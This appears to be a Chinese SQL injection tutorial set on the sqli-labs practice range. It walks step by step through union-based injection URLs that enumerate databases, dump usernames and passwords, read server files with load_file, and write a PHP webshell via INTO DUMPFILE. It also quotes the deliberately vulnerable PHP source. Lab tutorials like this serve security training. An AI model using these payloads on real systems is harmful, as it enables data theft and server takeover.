MySQL数据库sql注入之数据获取、跨库注入以及文件读写(以sqli-labs环境演示)


MySQL注入思路

环境

sqli-labs靶场是一个sql注入的练习靶场,里面有各种各样的sql注入环境,本文章将以sqli-labs第二关(less2)为例演示sql注入的步骤,安装步骤读者可自行在网上搜索,在此不赘述。

MySQL数据库预备知识

MySQL数据库5.0以后的版本特性

MySQL数据库在5.0版本以前是没有自带的information_schema数据库的,因此在对5.0以前的MySQL数据库进行注入时,需要猜解数据库名、表名、列名才能得到想要的数据信息;但是在5.0及以后的版本中,是存在information_schema数据库的,在此数据库中,存放了所有数据库中存在的数据库名、表名和列名的数据,因此,了解information_schema数据库的结构对我们进行MySQL注入有很大的帮助。

# information_schema数据库中存放所有表的表名
TABLES

# information_schema数据库中存放所有列的表名
COLUMNS

# information_schema.tables/columns表中存放所有数据库名的列名
TABLE_SCHEMA

# information_schema.tables/columns表中存放所有表名的列名
TABLE_NAME

# information_schema.tables/columns表中存放所有字段名的列名
COLUMN_TNAME

MySQL数据库常用的函数

信息收集对我们在进行sql注入中起到了很大帮助,以下是MySQL数据库自带的一些函数,可以对我们注入起到很大的帮助:

  • version():数据库的版本(注意5.0版本前后的区别)
  • user():当前操作数据库的用户
  • database():当前数据库名
  • @@version_compile_os:服务器的操作系统

以数据获取为目的的注入

第一步:注入点判断

来到我们的靶场环境,进入less-2关,当id=1时,查询的是Dumd的账号和密码;当id=2时,查询的是Angelina的账号和密码:


白盒

我们来到本地的sqli-labs目录下查看less-2的源代码:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else
		{ 	
		echo "Please input the ID as parameter with numeric value";
		}

?>

分析代码:

  • 通过参数id值来拼接sql语句,并且不存在任何安全措施
  • 查询语句为:SELECT * FROM users WHERE id=$id LIMIT 0,1

黑盒

http://localhost/sqli-labs/Less-2/index.php?id=1 and 1=1 页面正常显示
http://localhost/sqli-labs/Less-2/index.php?id=1 and 1=2 页面显示错误

思考:利用这种方法来判断是否存在注入已经很久了,判断注入的原理就是“字符拼接”,那么当我们输入一些任意字符让sql语句不能正常执行,就可以用来判断是否存在sql注入

第二步:有多少列

利用order by语句来判断当前数据表有多少列:

http://localhost/sqli-labs/Less-2/index.php?id=1 order by 3,3正常4报错,那么当前表有3列

第三步:信息收集

判断MySQL数据库版本(5.0前后)以及判断那列回显了(注意让union前面的查询语句为false,不然显示的就是前面查询的内容):
http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,2,3

可以看到2列和3列在页面是显示出来的,那么我们可以在2列和3列带出来我们想要的东西:

http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,version(),database()

数据库版本为5.5.53(存在information_schema数据库),当前数据库名为security

第四步:查表

http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,table_name,database() from information_schema.tables where table_schema='security'

只查出来了一个emails,思考:是否存在limit限制?(实际上是的),使用group_concat函数带出来更多数据:

http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema='security'

第五步:查列

找到可能存放想要信息的表进行查询:

http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,group_concat(column_name),database() from information_schema.columns where table_name='users'

第六步:查字段

http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users

跨库注入

第一步:信息收集

使用user()函数,发现我们的权限是root,那么我们可以尝试跨库进行注入(注意:跨库注入需要一个前提条件,我们需要是root用户):

第二步:获取数据库名

使用information_schema数据库中自带的表schemata查询所有的数据库名:

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),user() from information_schema.schemata

可以看到我们其他的数据库,此处以pikachu数据库为例进行演示

第三步:查表

接下来就跟数据获取部分的注入流程差不多了:

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema='pikachu'

第四步:查列

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='users'

我们发现有两个id、username、password,那是因为我们的查询语法把当前的数据库(security数据库)的这三个列给带出来了,我们使用下面语句进行查询即可:

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='users' and table_schema='pikachu%'

第五步:查数据

去解密网站对密码进行解密即可:

MySQL文件读写

介绍

文件读取操作是MySQL数据库特有的操作

第一步:信息收集

whoami?

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,user()

注意:在对进行文件读写操作时,需要看secure_file_priv值是否为NULL,如果为NULL,需要对my.ini文件下添加secure_file_priv=并重启mysql服务,secure_file_priv为NULL的情况下是不允许对数据库进行读写操作的

show global variables like 'secure_file_priv';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| c | NULL  |
+------------------+-------+
1 row in set (0.00 sec)

修改配置文件并重启mysql:

show global variables like 'secure_file_priv';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)

第二步:读文件(load_file函数)

读取sqli-labs的数据库配置文件:

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,load_file('D:\phpStudy\WWW\sqli-labs\sql-connections\db-creds.inc')

注意在页面上是无法直接查看的,需要我们查看网站源代码:

view-source:http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,load_file('D:\phpStudy\WWW\sqli-labs\sql-connections\db-creds.inc')

第三步:写shell

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,'' into dumpfile 'C://Users//ShleyCpt//Desktop//shell.php' --+

注意:需要使用--+把后面的sql语句给注释掉,查阅sqli-labs源代码会发现,后面有limit语句

成功执行后,会发现在桌面生成了一个php文件,使用webshell管理工具连接即可:

参考


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM